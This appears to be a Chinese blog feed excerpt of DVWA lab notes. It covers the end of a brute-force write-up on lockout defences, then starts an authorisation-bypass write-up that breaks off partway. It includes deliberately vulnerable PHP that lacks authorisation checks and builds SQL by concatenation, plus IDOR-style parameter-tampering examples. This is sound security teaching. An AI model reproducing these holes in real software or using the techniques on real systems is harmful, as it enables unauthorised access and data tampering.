class="comment">// $lockout_time * 60 - 将分钟转换为秒</span></span><br><span class="line">        <span class="variable">$timeout</span>    = <span class="variable">$last_login</span> + (<span class="variable">$lockout_time</span> * <span class="number">60</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// time() - 返回当前Unix时间戳</span></span><br><span class="line">        <span class="variable">$timenow</span>    = <span class="title function_ invoke__">time</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 检查是否仍在锁定期内</span></span><br><span class="line">        <span class="comment">// 如果当前时间 &lt; 锁定结束时间，说明仍被锁定</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$timenow</span> &lt; <span class="variable">$timeout</span> ) &#123;</span><br><span class="line">            <span class="variable">$account_locked</span> = <span class="literal">true</span>;</span><br><span class="line">            <span class="comment">// 不输出任何信息（安全实践：不透露账户状态）</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进5：只有账户未锁定时才验证登录 ★★★</span></span><br><span class="line">    <span class="comment">// ! - 逻辑非运算符</span></span><br><span class="line">    <span class="keyword">if</span>( !<span class="variable">$account_locked</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 使用PDO预编译语句验证用户名和密码</span></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;&#x27;</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="variable">$user</span>, PDO::<span class="variable constant_">PARAM_STR</span>);</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:password&#x27;</span>, <span class="variable">$pass</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">        <span class="variable">$row</span> = <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">fetch</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证登录</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">rowCount</span>() == <span class="number">1</span> ) &#123;</span><br><span class="line">            <span class="comment">// ★★★ 登录成功：重置失败计数器 ★★★</span></span><br><span class="line">            <span class="comment">// UPDATE - SQL更新语句</span></span><br><span class="line">            <span class="comment">// SET failed_login = &quot;0&quot; - 将失败次数重置为0</span></span><br><span class="line">            <span class="comment">// 作用：成功登录后清除失败记录，防止误锁定</span></span><br><span class="line">            <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;UPDATE users SET failed_login = &quot;0&quot; WHERE user = (:user) LIMIT 1;&#x27;</span> );</span><br><span class="line">            <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="variable">$user</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">            <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 获取并显示用户信息</span></span><br><span class="line">            <span class="variable">$avatar</span> = <span class="variable">$row</span>[ <span class="string">&#x27;avatar&#x27;</span> ];</span><br><span class="line">            <span class="variable">$html</span> .= <span class="string">&quot;&lt;p&gt;Welcome to the password protected area <span class="subst">&#123;$user&#125;</span>&lt;/p&gt;&quot;</span>;</span><br><span class="line">            <span class="variable">$html</span> .= <span class="string">&quot;&lt;img src=\&quot;<span class="subst">&#123;$avatar&#125;</span>\&quot; /&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// ★★★ 登录失败处理 ★★★</span></span><br><span class="line"></span><br><span class="line">            <span class="comment">// 随机延迟2-4秒</span></span><br><span class="line">            <span class="comment">// rand( 2, 4 ) - 生成2到4之间的随机整数</span></span><br><span class="line">            <span class="comment">// 作用：减慢暴力破解，增加不确定性</span></span><br><span class="line">            <span class="title function_ invoke__">sleep</span>( <span class="title function_ invoke__">rand</span>( <span class="number">2</span>, <span class="number">4</span> ) );</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 输出失败信息（提示可能是锁定原因）</span></span><br><span class="line">            <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;br /&gt;&lt;br/&gt;Alternative, the account has been locked because of too many failed logins.&lt;br /&gt;If this is the case, &lt;em&gt;please try again in <span class="subst">&#123;$lockout_time&#125;</span> minutes&lt;/em&gt;.&lt;/pre&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// ★★★ 改进6：增加失败计数 ★★★</span></span><br><span class="line">            <span class="comment">// failed_login = (failed_login + 1) - 失败次数+1</span></span><br><span class="line">            <span class="comment">// 每次失败都会累加，达到3次后触发锁定</span></span><br><span class="line">            <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;&#x27;</span> );</span><br><span class="line">            <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="variable">$user</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">            <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 改进7：更新最后登录时间 ★★★</span></span><br><span class="line">        <span class="comment">// now() - MySQL函数，返回当前日期和时间</span></span><br><span class="line">        <span class="comment">// 无论成功失败都更新，用于锁定时间计算</span></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;&#x27;</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="variable">$user</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成新的CSRF Token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><ol><li><strong>POST请求</strong> - 密码不出现在URL</li><li><strong>PDO预编译</strong> - 完全防止SQL注入</li><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>账户锁定</strong> - 3次失败锁定15分钟</li><li><strong>失败计数</strong> - 记录每个账户的失败次数</li><li><strong>成功重置</strong> - 成功登录清零计数器</li><li><strong>时间更新</strong> - 记录每次尝试时间</li><li><strong>随机延迟</strong> - 2-4秒不可预测</li></ol><h3 id="为什么几乎无法攻破？"><a href="#为什么几乎无法攻破？" class="headerlink" title="为什么几乎无法攻破？"></a>为什么几乎无法攻破？</h3><p><strong>攻击成本计算：</strong></p><p>假设密码字典有1000个密码：</p><ul><li>每3次尝试需要等待15分钟</li><li>1000密码 ÷ 3 &#x3D; 334轮</li><li>334轮 × 15分钟 &#x3D; 5010分钟 ≈ <strong>83.5小时</strong></li><li>加上每次2-4秒延迟：1000次 × 3秒 ≈ 50分钟</li><li><strong>总计：约84小时（3.5天）</strong></li></ul><p>这还只是一个用户名！</p><p><strong>防御层级：</strong></p><ol><li>PDO预编译 → SQL注入无效</li><li>CSRF Token → 自动化工具需要额外处理</li><li>账户锁定 → 暴力破解效率极低</li><li>POST请求 → URL不泄露密码</li><li>随机延迟 → 增加时间成本</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><ol><li><strong>使用POST请求</strong> - 敏感数据不应出现在URL</li><li><strong>PDO预编译语句</strong> - 彻底防止SQL注入</li><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>密码哈希</strong> - 使用bcrypt、Argon2，不要用MD5</li><li><strong>输入验证</strong> - 严格验证所有输入</li></ol><h3 id="机制层面"><a href="#机制层面" class="headerlink" title="机制层面"></a>机制层面</h3><ol><li><p><strong>账户锁定</strong></p><ul><li>5次失败锁定30分钟</li><li>或使用指数退避（1分钟→5分钟→30分钟）</li></ul></li><li><p><strong>验证码</strong></p><ul><li>3次失败后显示验证码</li><li>使用reCAPTCHA v3</li></ul></li><li><p><strong>多因素认证(MFA)</strong></p><ul><li>短信验证码</li><li>TOTP（Google Authenticator）</li><li>硬件密钥</li></ul></li><li><p><strong>限流</strong></p><ul><li>IP限流：每IP每分钟10次请求</li><li>账户限流：每账户每分钟3次尝试</li></ul></li></ol><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><ol><li><p><strong>日志记录</strong></p><ul><li>记录所有登录尝试</li><li>包括IP、时间、用户名</li></ul></li><li><p><strong>异常检测</strong></p><ul><li>监控失败登录高峰</li><li>检测分布式攻击</li></ul></li><li><p><strong>告警机制</strong></p><ul><li>多次失败触发告警</li><li>异常IP自动封禁</li></ul></li></ol><h3 id="Web应用防火墙-WAF"><a href="#Web应用防火墙-WAF" class="headerlink" title="Web应用防火墙(WAF)"></a>Web应用防火墙(WAF)</h3><ol><li>Cloudflare</li><li>AWS WAF</li><li>ModSecurity</li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>请求方法</td><td>GET</td><td>GET</td><td>GET</td><td>POST</td></tr><tr><td>SQL注入防护</td><td>❌</td><td>✅ mysqli_escape</td><td>✅ mysqli_escape</td><td>✅ PDO预编译</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>✅ Token</td><td>✅ Token</td></tr><tr><td>登录延迟</td><td>❌</td><td>✅ 2秒固定</td><td>✅ 0-3秒随机</td><td>✅ 2-4秒随机</td></tr><tr><td>账户锁定</td><td>❌</td><td>❌</td><td>❌</td><td>✅ 3次&#x2F;15分钟</td></tr><tr><td>失败计数</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr><tr><td>预计破解时间</td><td>&lt;1分钟</td><td>30分钟</td><td>数小时</td><td>数天</td></tr></tbody></table><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><ol><li><strong>从Low开始</strong> - 熟悉基本操作</li><li><strong>理解Medium</strong> - 学习基础防护</li><li><strong>挑战High</strong> - 掌握Token绕过</li><li><strong>研究Impossible</strong> - 理解完善的防护体系</li></ol><p><strong>学习路径：</strong></p><ul><li>手动测试 → Burp Suite → 脚本自动化 → 分析防护机制</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不攻击真实系统</li><li>学习目的是防御，不是攻击</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - Authorisation Bypass (权限绕过) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/Authorisation_Bypass_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/Authorisation_Bypass_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.143Z</published>
    <updated>2025-11-20T15:23:17.518Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是权限绕过（Authorisation-Bypass）？"><a href="#什么是权限绕过（Authorisation-Bypass）？" class="headerlink" title="什么是权限绕过（Authorisation Bypass）？"></a>什么是权限绕过（Authorisation Bypass）？</h3><p>权限绕过也称为访问控制漏洞，指攻击者能够访问或执行他们不应该有权限的功能或资源，绕过应用程序的授权检查。</p><p><strong>认证 vs 授权：</strong></p><table><thead><tr><th>概念</th><th>英文</th><th>作用</th><th>问题</th></tr></thead><tbody><tr><td>认证</td><td>Authentication</td><td>验证用户身份（你是谁？）</td><td>弱密码、会话劫持</td></tr><tr><td>授权</td><td>Authorisation</td><td>验证用户权限（你能做什么？）</td><td>权限绕过、越权访问</td></tr></tbody></table><p><strong>权限绕过的类型：</strong></p><h3 id="1-水平权限绕过（Horizontal-Privilege-Escalation）"><a href="#1-水平权限绕过（Horizontal-Privilege-Escalation）" class="headerlink" title="1. 水平权限绕过（Horizontal Privilege Escalation）"></a>1. 水平权限绕过（Horizontal Privilege Escalation）</h3><p>用户访问同级别其他用户的资源：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">用户A → 只能访问自己的订单</span><br><span class="line">攻击：修改<span class="attribute">order_id</span>=123 → <span class="attribute">order_id</span>=456</span><br><span class="line">结果：访问到用户B的订单</span><br></pre></td></tr></table></figure><h3 id="2-垂直权限绕过（Vertical-Privilege-Escalation）"><a href="#2-垂直权限绕过（Vertical-Privilege-Escalation）" class="headerlink" title="2. 垂直权限绕过（Vertical Privilege Escalation）"></a>2. 垂直权限绕过（Vertical Privilege Escalation）</h3><p>普通用户获取更高权限（如管理员）：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">普通用户 → 访问<span class="regexp">/admin/</span>panel</span><br><span class="line">结果：获得管理员功能</span><br></pre></td></tr></table></figure><h3 id="3-功能级权限绕过"><a href="#3-功能级权限绕过" class="headerlink" title="3. 功能级权限绕过"></a>3. 功能级权限绕过</h3><p>访问未授权的功能或API：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">普通用户 → POST <span class="regexp">/api/</span>admin/delete_user</span><br><span class="line">结果：执行管理员操作</span><br></pre></td></tr></table></figure><p><strong>危害：</strong></p><ul><li>访问他人敏感数据</li><li>修改其他用户信息</li><li>执行管理员操作</li><li>删除重要数据</li><li>完全控制系统</li></ul><p><strong>常见原因：</strong></p><ul><li>只在前端隐藏功能</li><li>依赖用户提供的参数判断权限</li><li>不检查资源所有权</li><li>Session中存储可篡改的权限信息</li><li>URL可预测的管理功能</li></ul><p><strong>DVWA场景：</strong><br>一个用户管理系统，有普通用户和管理员两种角色。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完全不检查用户权限，任何用户都可以访问管理功能。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Low难度：完全没有权限检查 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查用户是否已登录</span></span><br><span class="line"><span class="comment">// dvwaCurrentUser() - 获取当前登录用户名</span></span><br><span class="line"><span class="variable">$currentUser</span> = <span class="title function_ invoke__">dvwaCurrentUser</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题：只检查是否登录，不检查权限级别 ★★★</span></span><br><span class="line"><span class="comment">// 任何已登录用户都可以访问</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$currentUser</span>) &#123;</span><br><span class="line">    <span class="comment">// 未登录，重定向到登录页</span></span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: login.php&quot;</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取要查看的用户ID</span></span><br><span class="line"><span class="comment">// $_GET[&#x27;id&#x27;] - 从URL获取用户ID</span></span><br><span class="line"><span class="variable">$userId</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作1：不验证用户是否有权查看该用户 ★★★</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. 不检查当前用户是否是管理员</span></span><br><span class="line"><span class="comment">// 2. 不检查当前用户是否是该用户本人</span></span><br><span class="line"><span class="comment">// 3. 任何登录用户都可以查看任何用户的信息</span></span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users WHERE user_id = &#x27;<span class="subst">$userId</span>&#x27;&quot;</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>(<span class="variable">$result</span>) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="variable">$user</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 显示用户信息（包括敏感数据） ★★★</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;h2&gt;User Information&lt;/h2&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;User ID: &quot;</span> . <span class="variable">$user</span>[<span class="string">&#x27;user_id&#x27;</span>] . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;Username: &quot;</span> . <span class="variable">$user</span>[<span class="string">&#x27;user&#x27;</span>] . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;First Name: &quot;</span> . <span class="variable">$user</span>[<span class="string">&#x27;first_name&#x27;</span>] . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;Last Name: &quot;</span> . <span class="variable">$user</span>[<span class="string">&#x27;last_name&#x27;</span>] . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;Avatar: &quot;</span> . <span class="variable">$user</span>[<span class="string">&#x27;avatar&#x27;</span>] . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">    <span class="comment">// ★★★ 甚至显示密码哈希！ ★★★</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;Password Hash: &quot;</span> . <span class="variable">$user</span>[<span class="string">&#x27;password&#x27;</span>] . <span class="string">&quot;&lt;/p&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作2：管理员功能没有权限检查 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;action&#x27;</span>]) &amp;&amp; <span class="variable">$_GET</span>[<span class="string">&#x27;action&#x27;</span>] == <span class="string">&#x27;delete&#x27;</span>) &#123;</span><br><span class="line">    <span class="variable">$deleteUserId</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;delete_id&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：任何用户都可以删除任何用户 ★★★</span></span><br><span class="line">    <span class="comment">// 完全没有检查：</span></span><br><span class="line">    <span class="comment">// 1. 当前用户是否是管理员</span></span><br><span class="line">    <span class="comment">// 2. 是否可以删除该用户</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;DELETE FROM users WHERE user_id = &#x27;<span class="subst">$deleteUserId</span>&#x27;&quot;</span>;</span><br><span class="line">    <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;User deleted successfully!&lt;/p&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作3：修改用户信息没有权限检查 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;update&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$updateUserId</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;user_id&#x27;</span>];</span><br><span class="line">    <span class="variable">$newUsername</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;username&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：任何用户都可以修改任何用户的信息 ★★★</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;UPDATE users SET user = &#x27;<span class="subst">$newUsername</span>&#x27; WHERE user_id = &#x27;<span class="subst">$updateUserId</span>&#x27;&quot;</span>;</span><br><span class="line">    <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;p&gt;User updated successfully!&lt;/p&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>HTML表单：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 查看用户信息 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;GET&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span>&gt;</span>View User ID:<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;id&quot;</span> <span class="attr">value</span>=<span class="string">&quot;1&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span>&gt;</span>View<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 删除用户 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;GET&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;hidden&quot;</span> <span class="attr">name</span>=<span class="string">&quot;action&quot;</span> <span class="attr">value</span>=<span class="string">&quot;delete&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span>&gt;</span>Delete User ID:<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;delete_id&quot;</span> <span class="attr">value</span>=<span class="string">&quot;2&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span>&gt;</span>Delete<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 修改用户名 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span>&gt;</span>User ID:<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;user_id&quot;</span> <span class="attr">value</span>=<span class="string">&quot;2&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span>&gt;</span>New Username:<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;username&quot;</span> <span class="attr">value</span>=<span class="string">&quot;hacked&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">name</span>=<span class="string">&quot;update&quot;</span>&gt;</span>Update<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>只检查认证，不检查授权</strong> - 登录即可访问所有功能</li><li><strong>不验证资源所有权</strong> - 任何用户可以访问任何用户数据</li><li><strong>管理功能无保护</strong> - 删除、修改功能没有权限检查</li><li><strong>可预测的ID</strong> - 